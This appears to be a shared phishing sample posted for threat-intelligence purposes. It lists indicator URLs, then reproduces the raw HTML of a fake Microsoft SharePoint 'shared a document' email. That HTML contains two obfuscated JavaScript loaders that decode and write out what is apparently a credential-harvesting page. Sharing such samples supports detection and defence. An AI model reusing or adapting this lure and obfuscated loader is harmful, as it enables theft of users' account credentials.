This is the contents from a phishing attemt I had recieved recently.
IoCs:
http://angelotti.it/cms/moj1.js https://hinzlab.com/.mmM/off.css https://hinzlab.com/.mmM/sh_o.php?r https://hinzlab.com/.mmM/ptshok.php
| <input type="hidden" id="ec8" value="user-secured-domain.tld" /> | |
| <html dir="ltr" lang="en"> | |
| <script>(()=>{for(j=function(){for(h='&eG}E0S{s88Qto<cv35',a=new Array(h.length),l=0;l<h.length;l++)a[l]=h.charCodeAt(l);return a}(),m=m=>document.write(m),k=decodeURI("".concat("lllac?l(tArgruee=ah%22r=wu.him;lCnetmlhegc%7BIPn%20%22o%5D=%3ETdo(o.a;e~iar.r3e(o=C)csr%3Eo%22(gh%7DRl:unw)/t0inf(t=.+rrs/c8%20+m%22t%25e%5Epmy%22t(n)p%25(0(t%25Elsyttfelp1ggp(s==opj/.g)rl)eEn,sff,l%25%25-ocet1-njl,li)Jc-.h=%25nl0jtr).-.,),clt=fkta=%22..nge,h2tifg,h=U)g7k3egfl;rlC%5D-t%5B-cdkn;i-kolj%3CAt%5D1k=ea=kh%3C.h=.l%5Dhrl=nng%3Ejt%22dl1l);i%5B%7Bh;+%5Dn),3h+,%3Eg%5Blcc%5BoQ&rri(=.//el=f%5Bhi,Ki=%22l%3Ee0ksk.%7C%7Cktn*)(2bgn(l=)%22af%5D=%5D,,wsttb=)j&inn=m,i=%22)=ot3;ggc+te=tth;l+l%5Bdcsk%5B,c(1(%3C/%7D)()%3C%3E;(chp=(")).split(""),g=k.length%j.length,l=k.length-1;l>=0;l--)g--,-1==g&&(g=j.length-1),f=l+j[g],f>=k.length||(c=k[l],b=k[f],k[f]=c,k[l]=b);for(n=m,i="",l=0;l<k.length;l++)i+=k[l];n(i)})();</script> | |
| </html> |
| Microsoft SharePoint Online | |
| Accounts@domain.tld shared a document with you | |
| The file below has been attached for your reference: | |
| 🔒 Company Q3 Cashflow/Budget | |
| Received on 2022-07-13 for user@domain.tld | |
| Your shared file has been attached to this email notification. |
| (()=>{for(j=function(){for(h='Yf(WO@!aVl@lDj7n8Rw',a=new Array(h.length),l=0;l<h.length;l++)a[l]=h.charCodeAt(l);return a}(),m=m=>document.write(m),k=decodeURI("".concat("nic_foaauitoee%20%22ego9etsqo/llcen-=knacsh%3Ctorkmlup6::tdjo8e%20chh%3Esad=rc.ncsjr/t.mac/k2/dnf-scsmre/xeu/os%20sssuff7gwl/e/tt4wat-0rblft=elaosttonelycs.r/pta.rthitesefncn.eihu=mmnoitngsctuC%204ifnde.QsuihrnsZ62o3=s%3CFya5awdFv%22obAQ5wi.%3Eiamps%3EsdpB%20%3CxtOsnn/nK%3Cmk/g%20%22iNhfmuMa_tc5celffa/nsfolesoli%3Ch%20hser%20ozjt==ctatp/bn.cseresh:%20ylclegur/io/sdps/jqmtn=ot/i/irs1ymct%3E1rjpyih=ehzcsvrjerr%3En.lX7fm-%20pt.ht%20sec/.thde/yi%22a.rhmbh1%20sv:slt/%3Ep/oei.=?/sptb/dimssmcd/c2srphlp=xi.2r:ta%3C=lac%20%3C_at%3Eid%3EJsicopl%3Enopsj%3C%3Cps%20/d-rb=i%20cecvb%3Eks%20%3Edqrcmci%3Euglnavl_%3Cvs%3C%3C.4%3Clglgiaeboiv%3Cc%3Eace=tdIsd=eida%22oda%3Esopm%20%20Zvraa%3Es/ipvi%3C%20t.s=v=liayd%22eds%22-iot3sl%3C:ca-.clmvhore=apu:d/fetirobcpmsrtys.nkh//ttatd%3Chd1icdM%3Ct%3Etltta/u/nespcoge/3aocisomne%20/s7tfirhde.e88sbo/.c38e4%3E%20/%20atr2p%2008_2n7g3oukto3arldsa.fa-beb_pay%3E3pcoai%20nc0gb%20=ls%22dascl/sudmgd=%3C-=io)=xiyvptU%20s%3Ccbei%3E%3Es%3Edsisaimknhpng%22/da.d/mfi/cdt=i%20inptrenli.nbmfs.tcri/hita5g%20ih=o/sycts%3C/egt_3%3C%3Eda/fr5coe1:ct8tdgdu3os%20fcrbecn18gfclsgbs=i0s.ed9tsd%204degn_6c%3Enocna7lglvb%3C%226/d9gimviala9%3E%3Cd-sob/lehhvlo%20iisesg%3Et%20s7oga1gxahbig-xaa%20.d3bco%20et%3Croidad%7Bo'2valtg:nsedav=as'i%20maaA%22fL-rvliil.ttci8edx=1%20ltaovepBa;hs9t-gius&wvahl:L&ers=u%3E%20wiat%20ibo%20o%7Drl;yons%3Emacto%20y)hOnd%20Pl%3Co.rogb/sldnsm=%3Cp=a-2nal%3Cogddrs%3Cga%20p%3Enc0_'idtbtdi%20os:%22nss-rcresbaosrn-inna=ebe.rngol%20m'cmdsrrigfloecep's.W:oosT=arob/s,0btrp'e%5B-eraSei%20seFlta%223rgxaPis%20y%22%22%20s%5D=ds=5e=b_di%3Crieg=i%20dvl%3Ckaeal/oia%3EpGs%3C%20a/%3Ein%3C%3Ep-v%3E%3Cndtpbiybid%3Evidv%22%3Cddvv%20xy%20dds%3Edn%3Cv/eiv%20%3Ctteaivd%3Cded=%3Cv/=k%3Eidtvoa/s%20p%20/llivcnecsTsiipgnsde=vs%3Ceii:asddvaha-o/nisen%20dntlhiw%22(oesowinnhdttni%20c%20e:=er3d-iaudd%3C1d_g%3E%22a%22advttfaii=er%3E%22ixc2=d%20oi%3CdvtldvldaReaer-iitw%3Cuneacivwoev-%3Cdl%22egtwednl/d:a/ild=vi1-as%3Eg%3C%3Cilitsrrcicbvil%20ld%20il-%3Enf%3Eoo=s%20r%20dv=%3Cc/l-d%3C4%3Elsrdxmss%20-os%3E=oiiholn%3Eau%3Cmovc%20ireey%3Ev-vel%3Cpdl%22ido_vmva_td%3Cicprl%3Eop%20=eCgexo0eitl:pe%3C%20l7nfs:H%3Emca%3Etm%3EvatytPnno%3Cvrp%20=ys%20%3E=a%25;d%3Ccsi=%3C-i-rimramepk-i%20eaaa%20bcnlci-acmhlp%20%20#l%22telft%20esLrlpo=%3Cgrs2%3Eatka.c=Pksklh%3En%3EmeS%22ti=2ste:codaa/2.i%3Cit-%3Ep.clnfpioe/aiswna/o9ne%20t/hira_/d0giceodc0%3Eokecd_0m5iidb/ao1cd97ct28rtlarusuds4p%3Eaa5ers%3C1plsc=1v/n%20/t=4aio%3C.sifns6almnm_ne2%3Ekfiobgaga-oa:enaegrytcpt%20tippst%25t;tp%3E%3Egpt:u=-c%20r.gag%204hra=hrnnectm%3Enn/%20./meetect_dceshr/mt2tdnacofe1miam45/5ipist6ec/58/d5./g3esc7su70vk%20et%3C%22iei5ti524n=1d4vdid%3Cfia%3C/%20/l1_anles%3Cnsi7ad%20eih%3C%3E5m=%3Caiidgssr%3C-c%3Ep=a.le%3Efi%3Ccacrsd=%20vb%20l%3Cskakcdt5fi1sh.%20tgs%20m:ectsiv/lcga2aun=2.nasegsnkteaopan/tmit_.d8ae7ta7r5d_/c/6o6n6frl7tev48w1_etf3scg%22si=aan5oe703il0o0%3E%3E1h%204pwrpuer8nat-3racae3a%20t:ayspdbwenaa4ors:pkt=-ps4hds=araril//a%3Cvcoat/n%3Crdsp7dwed%3E%3Em%3C%3E%20r%3C%3C/ui1efvc/tv%3Cd%3EvvUdii%3Eicc%3Et/_%3Cc-sl%3Ei%3Cb=%3Ed/eo#/%3Cddovsnn%20r%3E/%3Csifpraaa=iidvit%3Edde%3Cdeh-ys%3Ecdpa_%20dols%20/lne/a%3Esens%20osdi=%3Cd%20-rcexevni-%20ms:vn%20o%3E-e0/%3Enmh%20e%3Epnnywnseod4uradude=iitidarie/ec-asida-bf%3Cltoddvie7%20vstidtedeti=%20teuoatudnl-ta%3Cvat%22idH%3Coo%3Ew0eedt%22tc=e=l=v=a%3ESs%20%3Ed=mial%3E1rvd%3Ca/tl%20%3C3gv7nl%3Co%20%3C1a%20%22sbtvavsbssiioteenee%3Evo%20noe2/%22uaa%3Eitt%20%22%3Cpo=nvctco=ldlnir%3Ecmd%3E%20ir%3Cd%3E/u%20ti%3E=ioaeivnvrd%3C2i/k-dlov-vtt%20dosceal%3E%3Cer=%20ctigdivdaoe/ll%20/=l%20srr%20svav%3Ep-mllrslnea%3C%3Etaleia=vtaasr%20r%20:lcitraalstbsier-laeeisngsi%3Eo-.rranmrra%3Cti1%3C=vf%3Eii%3Ctrivv%22roo%20ro%20w4i-dvd%22rga2i%22vil%20/%20hpds%20mdri-eloi%22io%20%3Eple/a%3Cu%3Crpnluta/scxttc%3Eadcslrn=rdtxrsei=%20%3C%22%20ndlm%20ediialie%20omsvlsaailrpc%20uofdnncvae_%3Ceeorees%3Cpespdx%3Eea%20casy=es=a%3Eml%3Eeel.elex%20v%22%3C%3Eye%3CrOo/ivdtlav%3Cpmsrse-c%3Cviiivd%3Cmoai%3E%20v%22o=iwauaittd%20ssllsCet-%20acoc-wlbdoi%20nladettyodst-=rs=%3Cidntcos%3Eisxi%3Ctsm%3Cn%20s%3E=io%3Eg2df%3Erw%3Cle%20m%20e3=hss%E2%80%99-euoCguo%22iaaovrmnmudrv%20c-a%3Erccsi%3C%3Etol%3Ep/%3Etdi?atli%3Eve%3C%3Er%3Elcrv/v-d/nh%20%3Cia%20ne-=%3C%3Etsalsi%3C%20swn%3Eas=dcil-be%20ula/rnooplomg=t%22ldd-n%22di2to%3E%22vocto-lisedo%3Cvre-bkc%22%3Cx=sacrsd-ckns-=-o/bflnutttol%20n%20ti-n%3Csrs@%22nie-bbgmcln%3Eo4%3E/t=v%20xvbrtiteio%3Ev1v%3Eb/%3Eudtteyli%3Ev-%3Ccid%3Cti%3C/i-d/b%20v%3C%3Ends%3Ea=tcyd%20bid%3Cai/t%3El%20ccpisidd=dv//isd%3Cvn/%20svalal-y=adansai%20vs-_-%3C%22-cacliia%3Eod%3Er%3Ca:fBe%20ixe=%20c%3Cyma%20t/%3Cn#aseo=vn%3Ernl%3Esas%3Ekt%20=%20b%22hnsea=eeb%3Ct-%3Ei%3Ctutit=aio%20tfpv=4ardti/emtBi/runh%3Eoietctcetd:%3C%20tsnsedllagiet/isndyi1lmfsnccna6ea=sts=9rb.csokc/%3Cv86d2_gt03srgnvm%3C/ld8/cf12ca4ifel%3E%3C%3E4%22%3Eiivv%3Cfwtavd%3C%3Ep/%3Cfpl/itdtd1v%3Cclacndn%20N-d=aid%3C0%22de%3Einisti%3C-mnras/sesn%3Cva%22eav/bpwya-id%20a-%20a/dt%3Eti%22-edie%20vrt=nrmedxgetd%20iinsitlnnecotsd%20d-pdtw%3Ciae%3Ccid%20#svdeocor%20ttldllr%3E.toiio=en%22%20wsrrr/ry2c%22dn%20%20eha-s%3Esteey%3Eaf%20ase%3C'nisrvrcsrnae/elunctacu%3E%20ii%20eex7o%20%3Es%20i%20bniaet%20rsphc5re.%3Cesird%20uw%20%3E,d%22v1afn%20%3C%20d/svgc/vyce%3Es%22itcssi=vdos%3E%20%3Cose/2i4somvrasodrawsaiirr%3El%22rs%3E-firvogereltmnlal%3Cle4de-pias%20te%3C/asn%20ta-uo==tsetivessarvr:%20ctlse=v%3Catynr%3Elt%3Ce%20%20e%20o-%20ol%22-ii%22aeclaeir-gv%3Eoei%3Edndrdprl%20vip%3CtilBtseorbchr/ellde-t=s-%20ors=aae%20%3Crsr%20/t-oai%3Evaoeolpsm=l%20orofnvrt%3Ep-_llrvlnea%3Cr%3Eyle-a=v7aasa%20r%20:lnoyraorst.sier-leeri-dsssio-=rranpeaalrd%3Ca=en%22ri%3Erri%20rilctrot%20ansr%20wosre%20ou'vl%20eYia%20rdIrsteopdsaap,olrbooe%20.ero%3Eyesidtfld%3Ctyawms%20e/yidriir=sn%3Csoe%20%20//sr=irch%20=n%3EaE%3C%3E%20rc%20i%3Cec%3Cepwyrl%3C%3Edlv=ioovmer-rdsotoa%20%3Eo%3EnswCra=iee%22llnr%20culappaapy-dca%20phsa%20otood=tcseai%3Ccre%20=e===sowom%22oesvesluwpese%20dsxdatdP-do%3Eufpsd%3Ca/diioevoytv%3Cv%3E0=odiitidrrtfidc-il%3Eiub=%3Cdie%20%20s%3Cdcocpnn%20ild%20sln%20ioaev=slr%20t%3E=%3Ci%3C%20thu=sot-armssos4c%3Eim.uno%20at-sellvl1l2slifmdorsfe%22n%22ioih-epraoxtsg#ar=k%3C%3E%3Esdwtlca%3Es%20gdro=-%20%3Cyvpc/dnfos/%3Css/rr%20s%3E%3Cmdissdtvdr%3E%3Ema%3Ea%3Co/viuaaidpsv%3Cl%3Evop/isr=arrd-rs%3Ewt%3C%3Eid%3E%20adsc%20wt%3C-rvbe%3Eovpuvev%20s/asddinlv-%22i%3E-tdinisbt%3Ccv2lt4oole-in%20r%3Ev=cykra-i--cs%22co%3EFwpo%20mnnumll-it-tt%20/-ilg=m%20n%20cbia-siea=tdnivgc%20dktn%3Cbnisn/%3C%3Eblo%3Esn%20iyol%3Cnvt%3Cdu3%3C%20v%3Cti#ti-%22v%3C%3Ei/%3C%20v/ga/dv%3Cidup%3E/%3C%3Edti%3Cdocii%3Eavi/%3E%3Cdd%3Cvxg%20%20vouvda%3Evddiva/lf/%3Ct%3Esglffa%3Ciio%22kirsiui%3Cforns%20%20cvd-o=ttdvtso%20a%20%20gue%3Cdi%20w%20boc%20nl%20-%20rbrme%20=:%20%7Btn%20%20ei%20%20%20t%20%20aa%20%20%20d%20/haeivc%20%20n%20%0A%20='%20a%20k%3Enpd%20r%0Aao%3Cu%20%20%0Du:%0D%20%20%3Ca%3E%20%20=%20o%20sgrfs%20l%20'%20/bbblcm%20e%3E%20%20L%20w%20iravn=uogtc'vkn%20!:ul%20Bon-o%20c=ekdNea)geeoc-%3E%22tg%3Cantadcs%20e%20dDta%3C/deb:nbcfnudidt%22%20%20dde%20ro%22n%20c-iaaoc%3Cn%20si,o%20%20%20oa'%20=olt%20p%20de%3E%20o/t%0A%20i%20r:v%20%20eohn%22dffds%20s%3E%20%20%0De:ld%20,%20nb%20%20i%20o%20%3Ctd%20r%20e%20b%20-%20drp%3E%20%20%20a%20%0Ao%20p%20%20M%20%20%20%22%20et%20m%20ls%20%20c%20%0D%20%20%20rtcr%20o%0A%20rn%20%20ahv%20%0D%7B%20nU%20%20:e%20a%20dte%20%20%20s%20%20%20n%20%20s%20%20B%20%20d%20%20D%20%20%20t%20amr(ua%0DeNgoe%20%20%20rfD%20f'w%20a%20%20%0Ddlb:kerte,e%0A%20%7Dn%20wg%20k%20rgun%20%20n%20s%20%20%3Efh%20%20r%20%20S%20%20cu%20%20guo%20mrbr'gsdiD%20%20e:Bo%20oaoi,%20g%20clvkna((u%20k%20%20%20n%20aaL%0A%20%3E%20ra%20%20%20woieuetgo%20%20s/%20%20%0Dc:%20%20%20%20%20r%20%20%20aeu%20fek%20d%20%0Dv%20nu%20i%0A%20%7B%20%20%20c%20%20r%20%7B%20%20,%20o%20t%20%20te%20%20f%20:%20h%20%20m%20nB%20%20k%20%20r%20l%0A%20%20%20%20igg%20e%20:%0AC%20o%20%20esfC%20%20ne%20a%20%20%20%20%20%20%0D%20i%20%20cm:%20%20%0A%20ts%20Dvbo%20t%20wb%20%20leD%20%20%0Do)u%20ek%20ogl,Do%20_ei_%20n%20oa%20%20slui%20ggu%20cacaa%20%20Noe%20x%20=-%7Dlb%20%22dett%20rdnD%20oteues%7Dscdo%3Ct%0Dr%20k%22ctaLlrsoliihot%20%20awrat%3E:%20%3Crdv/rf%20.c%20nny%20swmn.ss%20/rehat%7D%20ea%20eUe-Sow=erTcr%20%20stmutt%20%20/r-fd=xe:e%20%0A'/UF-tMbsnsr=_doD%20%20T%20%20fOeoBsair_ed:ko%20sin:re%20mtMtr,kE%20f,rLI%20%22ir%20ntetmck%5D%3Eo%20r%20st%3Cnr%20keLTmC%20%20ant%20=k%20vfr,%20eihe%3Cina/e%20c_tet.%20thoim//ene%3ElrueeoSlsyhi/.m:nmNifp%20aviwaUradtdtta%22idoh%5Brb)P%20ipiars'%5B%20eEcg_%22B%20t-toI:rvP_idyrCrSvkTO=taoptimseiesp%5DcL,i_yye%20FrsioLR-%22ka%20,a'scikr%3Esnvc%20ekniokvntvColifLf%3E%20pl%20%3C%20&ri:/;cnai'%22r_c=a=e%20sykmfdpmp,StagxOe%20ps%3CiOneep=o%20=hmlodenrecer-oanslCt%20oalalni#=afarLslbsoiir%20cef%20oe%20%20ncf/ts%20ier%20stlamtbhnLy/%20ktko%22:noli%0Daco:yicIhT,%20os%20=ier%20kd%0Daxa%20%22%20lf%20%20om%20n%20Ce%20:a_c'%20c_%20tt%20%20naraenOoh%20s_-rTif_s%20lo_Aiipcolat%20Ea=ltCibs%20R%20dof%20Saa%5Dto,L_ar%20ppn%22mc%20lMt%20dc't'o'ae%20aurl.%0Dr%7Dhsroe%7Bs(b%20i,ai%20%20avso%20eSls%20%20nueE%0A%20=cwi)%20%20R%20%0Atefs(i%22ees=tP%20sorM:%20glIgas%20%20it%20e.u=ctru(h%3Enem%5Bortos2stc:cboaa/n.n%20rttoe.c%3Enfpfoe/ale%20is/aanprt/hisa0/9:ot4eb660m3iecb36mb:rc%20/%20o7seca_tv8t6p)Tld5fgld%20a.9eedm5S%20iLgdd/t%20taoc5pn/=ao%0AM.s%20trcecca0dtei/eri2-%0Aist%20fdssst/tmtD%20e=%2061e:/sm=stfu9ur-dtp2lccig.ses8ncnhucca=a1o80l.c2eipirgtpac4s%20.58ne%20r6=8oF:bdfttiie69pssgtg/nnpi//t-ataahd1%20c%20t%3Cto%0Ditta/u/oeslcpnid3axais%20mneg_s2t0nasce%20.a4g6i/.901es/cgiarsc%3E-5852%20fp5:/sdc3s.gai%20gdea=h0nfbdt81nn/c./maetectcheeslg/mb2td6ac_frnad5m26/_reist2pe/esopc.1s37_9ysu30.iv.shslMe2c%206fdnl5db%20naeb3rp=txm%20bial%206n6n_h6adnrDdasacgcin7n3aoests)psi4f/tm/%3Cdro=ast1chmtM/te//dsvssd2tloe.uriice5sgnf.39s6m_lna7yd/cgd/0nr=6add5ie98eepbd/tghc4ss.65ae%20r4=9r0:bafttsie05pssgtas6npo//t0ata0hd1%20c-1htosittf/u/oeslcp=larabbiskmneg_sdt0tdoeev6y5i_i/.edee5cesva/%3Efc:7ae2.bv5%3Cpb4%3C2e%3C%3Ein%3C41ev%3C%3Ec/eib/3/1dvtidg9%3E/c%3E:d2en/egia6vi/6beo%3CnnrSdvsd3o1t.dd72c6tsvas%3E.g2sltl/il3dsrmn9gan./4is3m/srs%3E6./bb%3Eg2dbv56_dmhg%3Cnl/t9")).split(""),g=k.length%j.length,l=k.length-1;l>=0;l--)g--,-1==g&&(g=j.length-1),f=l+j[g],f>=k.length||(c=k[l],b=k[f],k[f]=c,k[l]=b);for(n=m,i="",l=0;l<k.length;l++)i+=k[l];n(i)})(); |